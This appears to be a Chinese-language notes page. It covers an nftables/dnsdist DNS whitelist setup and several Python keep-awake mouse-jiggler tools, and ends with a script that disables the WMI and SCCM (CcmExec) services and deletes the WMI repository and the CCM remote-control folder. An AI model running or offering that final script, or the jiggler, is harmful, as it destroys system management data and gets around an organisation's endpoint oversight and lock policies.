  3. 上游 DNS 服务器返回 IP
  4. DNS Proxy 将返回的 IP 加入 Windows 防火墙 / NAT 白名单
  5. DNS Proxy 再把 IP 返回给客户端

Mac mini M4 Pro + UTM + Ubuntu Router VM + dnsdist + ipset + iptables
Windows 11 + Hyper-V + Ubuntu Router VM + dnsdist + ipset + iptables


nftables 等价配置

创建 nftables 表、集合、链

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
table inet filter {

# === 等价于 ipset whitelist ===
set whitelist {
type ipv4_addr
flags interval
}

# === forward 链(等价于 iptables FORWARD)===
chain forward {
type filter hook forward priority 0;
policy drop;

# 白名单命中 → 记录 + 放行
ip saddr @whitelist \
limit rate 10/second burst 50 packets \
log prefix "[ACCEPT] " level info \
accept

# 未命中白名单 → 记录 + 丢弃
limit rate 5/second burst 20 packets \
log prefix "[DROP] " level info \
drop
}
}

⚠️ 说明

  • inet:同时适用于 IPv4 / IPv6(你现在先用 IPv4)
  • policy drop:默认拒绝,等价于你之前最后的 DROP

最小 dnsdist 示例

1
2
3
4
5
6
7
8
9
setLocal('0.0.0.0:53')
newServer({address="1.1.1.1"})

addAction(AllRule(), LuaAction(function(dq)
for _, ip in ipairs(dq:getIPs() or {}) do
os.execute("nft add element inet filter whitelist { "..ip.." } 2>/dev/null")
end
return DNSAction.None
end))

圆周运动

In [ ]:
%%bash
pip install pyautogui
In [ ]:
import pyautogui
import math
import time

# 圆周运动的参数
radius = 100  # 圆的半径
center_x, center_y = pyautogui.size().width // 2, pyautogui.size().height // 2  # 屏幕中心点
angle_step = 5  # 每步移动的角度增量,单位是度

# 进入无限循环
try:
    while True:
        for angle in range(0, 360, angle_step):
            # 计算当前角度的弧度值
            radian = math.radians(angle)
            # 计算新坐标
            x = center_x + radius * math.cos(radian)
            y = center_y + radius * math.sin(radian)
            # 移动鼠标
            pyautogui.moveTo(x, y)
            # 可以调整时间间隔来控制运动速度
            time.sleep(0.01)
except KeyboardInterrupt:
    print('圆周运动已停止。')
In [ ]:
%%bash
pip install pyautogui pynput
In [ ]:
import tkinter as tk
import pyautogui
import math
import threading
import time
from pynput import keyboard

class MouseCircleApp:
    def __init__(self, root):
        self.root = root
        self.root.title('Mouse Circle App')
        self.root.geometry('300x100')
        self.root.attributes('-topmost', True)

        self.running = False
        self.thread = None

        self.button = tk.Button(root, text='Start Circle', command=self.toggle_circle)
        self.button.pack(expand=True)
        
        self.listener = keyboard.Listener(on_press=self.on_key_press)
        self.listener.start()

    def toggle_circle(self):
        if not self.running:
            self.running = True
            self.button.config(text='Stop Circle')
            self.thread = threading.Thread(target=self.start_circle)
            self.thread.start()
        else:
            self.running = False
            self.button.config(text='Start Circle')

    def start_circle(self):
        radius = 100
        center_x, center_y = pyautogui.size().width // 2, pyautogui.size().height // 2
        angle_step = 5

        while self.running:
            for angle in range(0, 360, angle_step):
                if not self.running:
                    break
                radian = math.radians(angle)
                x = center_x + radius * math.cos(radian)
                y = center_y + radius * math.sin(radian)
                pyautogui.moveTo(x, y)
                time.sleep(0.01)

    def on_key_press(self, key):
        if key == keyboard.Key.esc:
            self.running = False
            self.button.config(text='Start Circle')
            if self.thread and self.thread.is_alive():
                self.thread.join()

if __name__ == '__main__':
    root = tk.Tk()
    app = MouseCircleApp(root)
    root.mainloop()
In [ ]:
%%bash
pyinstaller --onefile --noconsole circle.py

awake.py

使用 ctypes 库来调用 Windows API SetThreadExecutionState 防止系统进入睡眠或关闭显示器。

In [ ]:
%%bash
pip install pystray pillow
In [ ]:
import ctypes
import os
import pyautogui
import math
import time
import threading
import tkinter as tk
from pystray import Icon, MenuItem, Menu
from PIL import Image
from pynput import keyboard

# Constants for preventing sleep using SetThreadExecutionState API
ES_CONTINUOUS = 0x80000000  # Ensure the state is reset when the program exits
ES_DISPLAY_REQUIRED = 0x00000002  # Prevent the display from turning off
ES_SYSTEM_REQUIRED = 0x00000001  # Prevent the system from entering sleep

# Global variables for mouse circle functionality
running = False
circle_thread = None
button = None

def prevent_sleep():
    # Call the Windows API to prevent sleep and display off
    ctypes.windll.kernel32.SetThreadExecutionState(
        ES_CONTINUOUS | ES_DISPLAY_REQUIRED | ES_SYSTEM_REQUIRED
    )

def allow_sleep():
    # Reset the system to allow sleep and display off
    ctypes.windll.kernel32.SetThreadExecutionState(ES_CONTINUOUS)

def keep_awake():
    while True:
        # Function to simulate user activity to keep the system awake
        prevent_sleep()
        pyautogui.move(1, 0)  # Slight mouse movement to prevent idle state
        pyautogui.move(-1, 0)  # Move back to original position
        time.sleep(60 * 3)  # Sleep for 3 minutes before repeating

def on_quit(icon, root):
    # Handle the quit action from the system tray menu
    icon.stop()  # Stop the tray icon
    allow_sleep()  # Allow the system to sleep again
    root.quit()  # Quit the Tkinter main loop
    os._exit(0)  # Ensure the process exits completely

def show_window(root):
    # Show the main application window
    root.deiconify()
    root.attributes('-topmost', True)  # Bring the window to the front

def hide_window(root):
    # Hide the main application window
    root.withdraw()

def create_tray_icon(root):
    # Create a system tray icon with a menu
    image = Image.new('RGB', (64, 64), color=(0, 0, 0))  # Simple black icon
    menu = Menu(
        MenuItem('Open Window', lambda icon, item: show_window(root), default=True),
        MenuItem('Exit', lambda icon, item: on_quit(icon, root))
    )
    return Icon('Awake', image, 'Keep Awake', menu)

def toggle_circle(button):
    global running, circle_thread
    if not running:
        button.config(text='Stop Circle')
        # Start the circle motion
        running = True
        circle_thread = threading.Thread(target=start_circle)
        circle_thread.start()
    else:
        button.config(text='Start Circle')
        # Stop the circle motion
        running = False
        if circle_thread and circle_thread.is_alive():
            circle_thread.join()

def start_circle():
    global running
    radius = 100
    center_x, center_y = pyautogui.size().width // 2, pyautogui.size().height // 2
    angle_step = 5

    while running:
        for angle in range(0, 360, angle_step):
            if not running:
                break
            radian = math.radians(angle)
            x = center_x + radius * math.cos(radian)
            y = center_y + radius * math.sin(radian)
            pyautogui.moveTo(x, y)
            time.sleep(0.01)

def on_key_press(key):
    global button
    if key == keyboard.Key.esc:
        toggle_circle(button)

def main():
    # Set up the main Tkinter window
    root = tk.Tk()
    root.title('Awake & Circle')
    root.geometry('350x100')
    root.resizable(False, False)  # Fix the window size
    root.attributes('-topmost', True)  # Keep the window on top
    root.protocol('WM_DELETE_WINDOW', lambda: hide_window(root))  # Hide on close

    # Create the mouse circle button in the main window
    global button
    button = tk.Button(root, text='Start Circle', command=lambda: toggle_circle(button))
    button.pack(expand=True)

    # Start a background thread to keep the system awake
    threading.Thread(target=keep_awake, daemon=True).start()

    # Start the keyboard listener
    listener = keyboard.Listener(on_press=on_key_press)
    listener.start()

    # Create and run the system tray icon
    icon = create_tray_icon(root)
    threading.Thread(target=icon.run, daemon=True).start()

    # Run the Tkinter main loop
    root.mainloop()

if __name__ == '__main__':
    main()

说明:

  1. SetThreadExecutionState

    • ES_CONTINUOUS:保持该设置直到下一次调用。
    • ES_DISPLAY_REQUIRED:防止屏幕关闭。
    • ES_SYSTEM_REQUIRED:防止系统进入睡眠。
  2. 防止和恢复

    • prevent_sleep():调用后,系统不会进入睡眠或关闭显示器。
    • allow_sleep():调用后恢复系统默认的电源管理设置。
  3. 运行和停止

    • 运行脚本后,它会每分钟保持系统活跃,防止自动熄屏和锁屏。
    • 使用 Esc 和菜单选项 Exit 停止脚本运行,并恢复系统默认设置。

注意:

  • 这个脚本仅在 Windows 操作系统上有效。
  • SetThreadExecutionState 是 Windows 提供的 API,用于管理电源和系统状态。务必小心使用,防止意外阻止系统进入节能状态。
In [ ]:
%%bash
pyinstaller --onefile --noconsole awake.py

setup.py

In [ ]:
from setuptools import setup
from mypyc.build import mypycify

setup(
    name='awake',
    ext_modules=mypycify(['awake.py']),
    zip_safe=False,
)
In [ ]:
%%bash
pip install mypy
In [ ]:
%%bash
python setup.py build_ext --inplace

main.py

In [ ]:
import awake

if __name__ == '__main__':
    awake.main()  # 调用编译后的模块的 main 函数
In [ ]:
%%bash
pyinstaller --onefile main.py

WMI 服务管理与清理自动化

In [ ]:
import os
import shutil
import subprocess

def stop_and_disable_service(service_name):
    '''停止并禁用指定的服务'''
    try:
        # 停止服务
        subprocess.run(['sc', 'stop', service_name], check=True, text=True)
        print(f'服务已停止:{service_name}')

        # 禁用服务
        subprocess.run(['sc', 'config', service_name, 'start=', 'disabled'], check=True, text=True)
        print(f'服务已禁用:{service_name}')
    except subprocess.CalledProcessError as e:
        print(f'操作服务 {service_name} 时发生错误:{e}')

def clear_folder_contents(folder_path):
    '''清理文件夹下的所有内容'''
    if os.path.exists(folder_path):
        try:
            # 删除文件夹下的所有文件和子目录
            for item in os.listdir(folder_path):
                item_path = os.path.join(folder_path, item)
                if os.path.isdir(item_path):
                    shutil.rmtree(item_path)
                else:
                    os.remove(item_path)
            print(f'成功清理文件夹内容:{folder_path}')
        except Exception as e:
            print(f'清理文件夹 {folder_path} 时发生错误:{e}')
    else:
        print(f'路径不存在:{folder_path}')

if __name__ == '__main__':
    # 停止并禁用服务
    stop_and_disable_service('winmgmt')
    stop_and_disable_service('CcmExec')

    # 定义文件夹路径
    wbem_base_path = r'C:\\Windows\\System32\\wbem'
    auto_recover_path = os.path.join(wbem_base_path, 'AutoRecover')
    repository_path = os.path.join(wbem_base_path, 'Repository')
    remote_control_path = r'C:\\Windows\\CCM\\RemCtrl'

    # 清理 wbem/AutoRecover 和 wbem/Repository 文件夹
    clear_folder_contents(auto_recover_path)
    clear_folder_contents(repository_path)
    # 清理 CCM/RemCtrl 文件夹
    clear_folder_contents(remote_control_path)
Read More